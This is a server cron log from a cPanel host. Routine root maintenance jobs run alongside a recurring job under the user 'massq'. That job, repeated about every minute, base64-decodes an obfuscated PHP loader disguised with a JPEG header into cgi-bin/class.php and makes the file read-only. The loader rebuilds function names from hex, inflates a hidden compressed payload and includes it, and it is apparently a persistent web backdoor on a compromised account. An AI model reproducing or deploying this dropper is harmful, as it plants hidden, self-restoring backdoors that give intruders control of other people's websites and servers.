Sep  7 18:05:01 server CROND[4075]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:05:01 server CROND[4076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:06:01 server CROND[4930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:06:01 server CROND[4931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:06:01 server CROND[4932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:07:01 server CROND[5407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:07:01 server CROND[5409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:07:01 server CROND[5408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:08:01 server CROND[5841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:08:01 server CROND[5842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:08:01 server CROND[5844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:09:01 server CROND[6218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:09:01 server CROND[6217]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 18:09:01 server CROND[6216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:09:01 server CROND[6219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:10:01 server CROND[6608]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:10:01 server CROND[6609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:10:01 server CROND[6612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:10:01 server CROND[6615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:10:01 server CROND[6614]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:10:01 server CROND[6613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:10:01 server CROND[6616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:10:01 server CROND[6617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:11:01 server CROND[7445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:11:01 server CROND[7446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:11:01 server CROND[7447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:12:01 server CROND[7822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:12:01 server CROND[7823]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 18:12:01 server CROND[7825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:12:01 server CROND[7824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:13:01 server CROND[8380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:13:01 server CROND[8381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:13:01 server CROND[8382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:14:01 server CROND[8777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:14:01 server CROND[8778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:14:01 server CROND[8779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:15:01 server CROND[9178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:15:01 server CROND[9179]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:15:01 server CROND[9182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:15:01 server CROND[9186]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 18:15:01 server CROND[9189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:15:01 server CROND[9195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:15:01 server CROND[9187]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  7 18:15:01 server CROND[9193]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:15:01 server CROND[9190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:15:01 server CROND[9192]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 18:16:01 server CROND[10278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:16:01 server CROND[10279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:16:01 server CROND[10280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:17:01 server CROND[10672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
